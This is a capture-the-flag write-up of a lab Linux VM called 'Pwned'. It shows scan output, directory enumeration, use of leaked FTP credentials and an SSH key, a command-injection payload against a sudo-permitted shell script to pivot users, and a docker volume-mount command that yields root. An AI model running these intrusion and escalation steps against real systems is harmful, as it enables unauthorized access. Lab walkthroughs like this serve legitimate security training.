This is a Linux machine with FTP, SSH and Web services there, but anonymous login is disabled for FTP. Fortunately, through web directory enumeration, we discovered a hidden_text file that provided us with a custom wordlist. Using this wordlist for a second scan, we found the FTP service credentials in a leaked pwned.vuln file.

With these credentials, we obtained ariana's SSH private key and gained an initial foothold on the system. By reviewing this user's sudo rules, we discovered that command injection could be exploited to pivot to the user selena. Since this user belongs to the docker group, we were able to mount the system's root directory into a container and utimately gain root privileges.

Summary

Scope

  • Name: Pwned
  • Difficulty: Easy
  • OS: Linux
  • IP: Local VM

Learned

  • We need pay attention to web source and comment when interactive with web service.
  • Sudo rules, SUID, cron configuration, user and OS informations are what we must have first.
  • docker group's user can run containers without password, which may lead unexpected behaviors.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Sun Mar  1 17:05:16 2026 as: nmap -sT --min-rate 3000 -oN overall 192.168.1.37
Nmap scan report for 192.168.1.37
Host is up (0.000084s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:88:02:3A (Oracle VirtualBox virtual NIC)

# Nmap done at Sun Mar  1 17:05:20 2026 -- 1 IP address (1 host up) scanned in 4.09 seconds

Detail

# Nmap 7.98 scan initiated Sun Mar  1 17:06:20 2026 as: nmap -sC -sV -O -v -p21,22,80 -oN detail 192.168.1.37
Nmap scan report for 192.168.1.37
Host is up (0.00039s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
|   256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_  256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Pwned....!!
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:88:02:3A (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 29.352 days (since Sat Jan 31 08:39:21 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar  1 17:06:32 2026 -- 1 IP address (1 host up) scanned in 12.74 seconds

UDPScan

# Nmap 7.98 scan initiated Sun Mar  1 17:08:39 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.37
Nmap scan report for 192.168.1.37
Host is up (0.00058s latency).
Not shown: 31 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:88:02:3A (Oracle VirtualBox virtual NIC)

# Nmap done at Sun Mar  1 17:09:13 2026 -- 1 IP address (1 host up) scanned in 33.65 seconds

FTP (anonymous)

I first try anonymous login with FTP service but fail.

❰curtain❙~/workspace/shooting/hmvm/pwned❱✔≻ ftp [email protected]
Connected to 192.168.1.37.
220 (vsFTPd 3.0.3)
530 Permission denied.
ftp: Login failed.

Web

Then I goto web directory enumeration with feroxbuster.

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.37/
 🚩  In-Scope Url          │ 192.168.1.37
 🚀  Threads               │ 64
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/curtain/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [pdf, txt, php, zip, db, bak]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       16l       27w      194c http://192.168.1.37/nothing/nothing.html
200      GET       75l      191w     3065c http://192.168.1.37/
200      GET        4l        7w       41c http://192.168.1.37/robots.txt
301      GET        9l       28w      314c http://192.168.1.37/nothing => http://192.168.1.37/nothing/
301      GET        9l       28w      318c http://192.168.1.37/hidden_text => http://192.168.1.37/hidden_text/
200      GET       22l       21w      211c http://192.168.1.37/hidden_text/secret.dic
[####################] - 86s  1543857/1543857 0s      found:6       errors:2945
[####################] - 86s  1543822/1543822 18048/s http://192.168.1.37/
[####################] - 0s   1543822/1543822 1543822000/s http://192.168.1.37/nothing/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s   1543822/1543822 385955500/s http://192.168.1.37/hidden_text/ => Directory listing (add --scan-dir-listings to scan)

The first time I use a small list common.txt, which not find the target directory called hidden_text.

Custom Wordlist

I find a custom wordlist within hidden_text directory.

/hacked
/vanakam_nanba
/hackerman.gif 
/facebook
/whatsapp
/instagram
/pwned
/pwned.com
/pubg 
/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home

BTW, the nothing directory just within a trivial file.

Pwned.vuln (leak creds)

I obtain a special file called pwned.vuln which contains credentials for FTP service by scanning secondly with that custom wordlist.

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.37/
 🚩  In-Scope Url          │ 192.168.1.37
 🚀  Threads               │ 64
 📖  Wordlist              │ secret.dic
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/curtain/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [pdf, txt, php, zip, db, bak]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       16l       27w      194c http://192.168.1.37/nothing/nothing.html
200      GET       75l      191w     3065c http://192.168.1.37/
301      GET        9l       28w      317c http://192.168.1.37/pwned.vuln => http://192.168.1.37/pwned.vuln/
[####################] - 1s       336/336     0s      found:3       errors:1
[####################] - 0s       154/154     4053/s  http://192.168.1.37/
[####################] - 0s       154/154     154000/s http://192.168.1.37/nothing/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s       154/154     7333/s  http://192.168.1.37/pwned.vuln/                                           ❰curtain❙~/workspace/shooting/hmvm/pwned❱✔≻ ls

I discover the credentials within comment of that special file.

<?php
//	if (isset($_POST['submit'])) {
//		$un=$_POST['username'];
//		$pw=$_POST['password'];
//
//	if ($un=='*******' && $pw=='**********') {
//		echo "welcome"
//		exit();
// }
// else 
//	echo "Invalid creds"
// }
?>

After I login the FTP service using that credential, I discover following files which seems private key for some user.

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    3 0        0            4096 Jul 09  2020 .
drwxr-xr-x    5 0        0            4096 Jul 10  2020 ..
drwxr-xr-x    2 0        0            4096 Jul 10  2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 10  2020 .
drwxrwxrwx    3 0        0            4096 Jul 09  2020 ..
-rw-r--r--    1 0        0            2602 Jul 09  2020 id_rsa
-rw-r--r--    1 0        0              75 Jul 09  2020 note.txt

And the note.txt hints me that ariana may be that user.

❰curtain❙~/workspace/shooting/hmvm/pwned❱✔≻ cat note.txt

Wow you are here

ariana won't happy about this note

sorry ariana :(

Foothold

Luckily, I successfully gain the foothold by that SSH private key and user.

ariana@pwned:~$ ls
ariana-personal.diary  user1.txt
ariana@pwned:~$ cat user1.txt
congratulations you Pwned ariana

Here is your user flag ↓↓↓↓↓↓↓

fb******************************

Try harder.need become root

Privilege Escalation

After gain the foothold of the system, I first check the sudo rule of that user.

ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

Yeah, user ariana can execute the messenger.sh script with selena user and no need password(we don't have password of ariana).

I discover a command_injection vulnerability by review the messager.sh script.

ariana@pwned:~$ cat /home/messenger.sh
#!/bin/bash

clear
echo "Welcome to linux.messenger "
		echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
		echo ""
echo "$users"
		echo ""
read -p "Enter username to send message : " name
		echo ""
read -p "Enter message for $name :" msg
		echo ""
echo "Sending message to $name "

$msg 2> /dev/null

		echo ""
echo "Message sent to $name :) "
		echo ""
        

Welcome to linux.messenger

Here $msg 2>/dev/null is where vulnerability lays. Then I privot to selena user by give a /bin/bash to $msg.

Enter username to send message : /bin/bash

Enter message for /bin/bash :/bin/bash

Sending message to /bin/bash
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

After a brief lag, I notice that selena belongs to docker group, which make me excited. Cause docker group's users can run containers without password. So I can mount the root directory of system into a container.

selena@pwned:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
privesc             latest              09ae39f0f8fc        5 years ago         88.3MB
<none>              <none>              e13ad046d435        5 years ago         88.3MB
alpine              latest              a24bb4013296        5 years ago         5.57MB
debian              wheezy              10fcec6d95c4        6 years ago         88.3MB

selena@pwned:/home/ariana$ docker run -v /:/mnt --rm -it alpine
/ # ls
bin    dev    etc    home   lib    media  mnt    opt    proc   root   run    sbin   srv    sys    tmp    usr    var
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)